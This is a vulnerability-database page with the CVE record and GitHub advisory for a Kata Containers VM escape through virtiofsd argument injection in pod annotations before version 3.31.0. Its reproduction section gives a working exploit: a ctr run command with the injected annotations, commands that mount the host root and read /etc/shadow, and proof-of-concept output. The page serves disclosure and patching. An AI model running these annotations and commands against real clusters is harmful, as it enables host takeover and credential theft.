Vulnerability-Lookup

CVE-2026-44210 (GCVE-0-2026-44210)

Vulnerability from cvelistv5 – Published: 2026-07-23 17:32 – Updated: 2026-07-24 22:03

Title

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

Summary

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Severity

5.8 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/kata-containers/kata-container…	x_refsource_CONFIRM
https://github.com/kata-containers/kata-container…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
kata-containers	kata-containers	Affected: < 3.31.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44210",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-24T22:02:24.296804Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-24T22:03:05.694Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kata-containers",
          "vendor": "kata-containers",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.31.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-88",
              "description": "CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-23T17:32:23.927Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr"
        },
        {
          "name": "https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744"
        }
      ],
      "source": {
        "advisory": "GHSA-rr59-xxvx-96qr",
        "discovery": "UNKNOWN"
      },
      "title": "Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44210",
    "datePublished": "2026-07-23T17:32:23.927Z",
    "dateReserved": "2026-05-05T15:13:47.571Z",
    "dateUpdated": "2026-07-24T22:03:05.694Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-44210",
      "date": "2026-07-25",
      "epss": "0.0032",
      "percentile": "0.24348"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-44210\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-23T18:16:51.053\",\"lastModified\":\"2026-07-24T23:16:50.527\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"kata-containers\",\"product\":\"kata-containers\",\"versions\":[{\"version\":\"\u003c 3.31.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":5.8,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"HIGH\",\"subIntegrityImpact\":\"HIGH\",\"subAvailabilityImpact\":\"HIGH\",\"exploitMaturity\":\"PROOF_OF_CONCEPT\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-24T22:02:24.296804Z\",\"id\":\"CVE-2026-44210\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-88\"}]}],\"references\":[{\"url\":\"https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-44210\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-24T22:02:24.296804Z\"}}}], \"references\": [{\"url\": \"https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-24T22:02:59.194Z\"}}], \"cna\": {\"title\": \"Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations\", \"source\": {\"advisory\": \"GHSA-rr59-xxvx-96qr\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 5.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"HIGH\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"HIGH\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"HIGH\", \"vulnConfidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"kata-containers\", \"product\": \"kata-containers\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3.31.0\"}]}], \"references\": [{\"url\": \"https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr\", \"name\": \"https://github.com/kata-containers/kata-containers/security/advisories/GHSA-rr59-xxvx-96qr\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744\", \"name\": \"https://github.com/kata-containers/kata-containers/commit/ffa59ce3aa7877d067c9a372df0c329a23a01744\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-88\", \"description\": \"CWE-88: Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-23T17:32:23.927Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-44210\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-24T22:03:05.694Z\", \"dateReserved\": \"2026-05-05T15:13:47.571Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-23T17:32:23.927Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-RR59-XXVX-96QR

Vulnerability from github – Published: 2026-05-26 23:57 – Updated: 2026-05-26 23:57

Summary

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

Details

Summary

Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the io.katacontainers.config.hypervisor.virtio_fs_extra_args pod annotation. By injecting -o source=/ along with --no-announce-submounts and --sandbox=none, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the kernel_params annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.

Details

The default Kata configuration at configuration.toml line 1 contains:

enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"]

Both virtio_fs_extra_args and kernel_params are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.

In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:

if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {
    var parsedValue []string
    err := json.Unmarshal([]byte(value), &parsedValue)
    // ...
    sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(
        sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)
}

In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with --shared-dir=<kata_managed_path> first, then appends the extra args:

args := []string{
    "--syslog",
    "--cache=" + v.cache,
    "--shared-dir=" + v.sourcePath,
    fmt.Sprintf("--fd=%v", FdSocketNumber),
}
if len(v.extraArgs) != 0 {
    args = append(args, v.extraArgs...)
}

The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option -o source=PATH that overrides the --shared-dir value. This is processed after clap argument parsing, in the parse_compat() function at main.rs:462:

["source", value] => opt.shared_dir = Some(value.to_string()),

Because -o source=/ is appended after --shared-dir=<kata_path>, it overrides the shared directory to /. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.

Additionally, virtiofsd's --announce-submounts flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is /, this produces automounts that shadow the root directory listing. Injecting --no-announce-submounts disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.

The kernel_params annotation is used to inject agent.debug_console agent.debug_console_vport=1026 into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.

Rootfs bridge (PoC artifact, not a real constraint)

When virtiofsd uses -o source=/ to serve the host root, the Kata agent looks for the container rootfs at /<container-id>/rootfs relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.

In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.

Impact

An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:

Read any file on the host, including /etc/shadow, SSH private keys, and service credentials
Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement
Access other containers' data through the host filesystem
Compromise the Kubernetes control plane if it runs on the same host

Steps to reproduce

Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.

Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.
Pull a container image:

ctr image pull docker.io/library/alpine:latest

Run the PoC script below, or follow the manual steps:

Manual steps:

a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):

SB_ID="poc-exploit"
mkdir -p /$SB_ID/rootfs

# Extract alpine rootfs from OCI image
mkdir -p /tmp/oci-extract
ctr image export /tmp/oci.tar docker.io/library/alpine:latest
tar xf /tmp/oci.tar -C /tmp/oci-extract
IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://')
MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \
    "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://')
LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://')
tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs

rm -rf /tmp/oci-extract /tmp/oci.tar

b. Create a marker file on the host to prove access:

echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker

c. Start the container with the malicious annotations:

ctr run \
  --runtime io.containerd.kata.v2 \
  --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \
  --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \
  docker.io/library/alpine:latest $SB_ID \
  sleep 3600 &

Wait 20-30 seconds for the VM to start. Verify with ctr task ls.

d. Enter the VM through the debug console:

/opt/kata/bin/kata-runtime exec $SB_ID

e. Inside the VM, mount the host filesystem and read host files:

mkdir -p /tmp/hostfs
mount -t virtiofs kataShared /tmp/hostfs
cat /tmp/hostfs/etc/hostname
cat /tmp/hostfs/root/.poc-marker
head -3 /tmp/hostfs/etc/shadow
cat /tmp/hostfs/etc/os-release
ls /tmp/hostfs/opt/kata/bin/

f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.

Clean up:

ctr task kill $SB_ID --signal SIGKILL
ctr container rm $SB_ID
umount /$SB_ID/rootfs
rm -rf /$SB_ID

Proof of concept output

Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.

root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h
root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)
DIRCOUNT:37
root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname)
HOSTNAME:kata-poc
root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release)
OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS"
root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker
HOST_NS2_1776058192
root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow)
SHADOW:root:*:17478:0:99999:7:::
root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3)
BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic
root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3)
KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker

The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

Severity

5.8 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kata-containers/kata-containers"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260519062212-ffa59ce3aa78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-26T23:57:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nKata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.\n\n## Details\n\nThe default Kata configuration at configuration.toml line 1 contains:\n\n```\nenable_annotations = [\"enable_iommu\", \"virtio_fs_extra_args\", \"kernel_params\", \"kernel_verity_params\"]\n```\n\nBoth `virtio_fs_extra_args` and `kernel_params` are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.\n\nIn utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:\n\n```go\nif value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {\n    var parsedValue []string\n    err := json.Unmarshal([]byte(value), \u0026parsedValue)\n    // ...\n    sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(\n        sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)\n}\n```\n\nIn virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with `--shared-dir=\u003ckata_managed_path\u003e` first, then appends the extra args:\n\n```go\nargs := []string{\n    \"--syslog\",\n    \"--cache=\" + v.cache,\n    \"--shared-dir=\" + v.sourcePath,\n    fmt.Sprintf(\"--fd=%v\", FdSocketNumber),\n}\nif len(v.extraArgs) != 0 {\n    args = append(args, v.extraArgs...)\n}\n```\n\nThe virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option `-o source=PATH` that overrides the `--shared-dir` value. This is processed after clap argument parsing, in the `parse_compat()` function at main.rs:462:\n\n```rust\n[\"source\", value] =\u003e opt.shared_dir = Some(value.to_string()),\n```\n\nBecause `-o source=/` is appended after `--shared-dir=\u003ckata_path\u003e`, it overrides the shared directory to `/`. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.\n\nAdditionally, virtiofsd\u0027s `--announce-submounts` flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is `/`, this produces automounts that shadow the root directory listing. Injecting `--no-announce-submounts` disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.\n\nThe `kernel_params` annotation is used to inject `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.\n\n## Rootfs bridge (PoC artifact, not a real constraint)\n\nWhen virtiofsd uses `-o source=/` to serve the host root, the Kata agent looks for the container rootfs at `/\u003ccontainer-id\u003e/rootfs` relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.\n\nIn a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.\n\n## Impact\n\nAn attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:\n\n- Read any file on the host, including /etc/shadow, SSH private keys, and service credentials\n- Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement\n- Access other containers\u0027 data through the host filesystem\n- Compromise the Kubernetes control plane if it runs on the same host\n\n## Steps to reproduce\n\nTested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.\n\n1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.\n\n2. Pull a container image:\n\n```\nctr image pull docker.io/library/alpine:latest\n```\n\n3. Run the PoC script below, or follow the manual steps:\n\nManual steps:\n\na. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):\n\n```\nSB_ID=\"poc-exploit\"\nmkdir -p /$SB_ID/rootfs\n\n# Extract alpine rootfs from OCI image\nmkdir -p /tmp/oci-extract\nctr image export /tmp/oci.tar docker.io/library/alpine:latest\ntar xf /tmp/oci.tar -C /tmp/oci-extract\nIDX=$(jq -r \u0027.manifests[0].digest\u0027 /tmp/oci-extract/index.json | sed \u0027s/sha256://\u0027)\nMFT=$(jq -r \u0027.manifests[] | select(.platform.architecture==\"amd64\") | .digest\u0027 \\\n    \"/tmp/oci-extract/blobs/sha256/$IDX\" | head -1 | sed \u0027s/sha256://\u0027)\nLYR=$(jq -r \u0027.layers[0].digest\u0027 \"/tmp/oci-extract/blobs/sha256/$MFT\" | sed \u0027s/sha256://\u0027)\ntar xzf \"/tmp/oci-extract/blobs/sha256/$LYR\" -C /$SB_ID/rootfs\n\nrm -rf /tmp/oci-extract /tmp/oci.tar\n```\n\nb. Create a marker file on the host to prove access:\n\n```\necho \"HOST_ESCAPE_PROOF_$(date)\" \u003e /root/.poc-marker\n```\n\nc. Start the container with the malicious annotations:\n\n```\nctr run \\\n  --runtime io.containerd.kata.v2 \\\n  --annotation \u0027io.katacontainers.config.hypervisor.virtio_fs_extra_args=[\"--sandbox=none\",\"--seccomp=none\",\"-o\",\"source=/\",\"--no-announce-submounts\"]\u0027 \\\n  --annotation \u0027io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026\u0027 \\\n  docker.io/library/alpine:latest $SB_ID \\\n  sleep 3600 \u0026\n```\n\nWait 20-30 seconds for the VM to start. Verify with `ctr task ls`.\n\nd. Enter the VM through the debug console:\n\n```\n/opt/kata/bin/kata-runtime exec $SB_ID\n```\n\ne. Inside the VM, mount the host filesystem and read host files:\n\n```\nmkdir -p /tmp/hostfs\nmount -t virtiofs kataShared /tmp/hostfs\ncat /tmp/hostfs/etc/hostname\ncat /tmp/hostfs/root/.poc-marker\nhead -3 /tmp/hostfs/etc/shadow\ncat /tmp/hostfs/etc/os-release\nls /tmp/hostfs/opt/kata/bin/\n```\n\nf. Observe that /etc/hostname returns the host\u0027s hostname (not \"localhost\"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host\u0027s password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.\n\n4. Clean up:\n\n```\nctr task kill $SB_ID --signal SIGKILL\nctr container rm $SB_ID\numount /$SB_ID/rootfs\nrm -rf /$SB_ID\n```\n\n## Proof of concept output\n\nBelow is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.\n\n```\nroot@7a7325d5d804:/# mkdir -p /tmp/h \u0026\u0026 mount -t virtiofs kataShared /tmp/h\nroot@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)\nDIRCOUNT:37\nroot@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname)\nHOSTNAME:kata-poc\nroot@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release)\nOSREL:PRETTY_NAME=\"Ubuntu 24.04.3 LTS\"\nroot@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker\nHOST_NS2_1776058192\nroot@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow)\nSHADOW:root:*:17478:0:99999:7:::\nroot@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2\u003e/dev/null | head -3)\nBOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic\nroot@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2\u003e/dev/null | head -3)\nKATA:cloud-hypervisor containerd-shim-kata-v2 firecracker\n```\n\nThe host\u0027s real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container\u0027s own filesystem.",
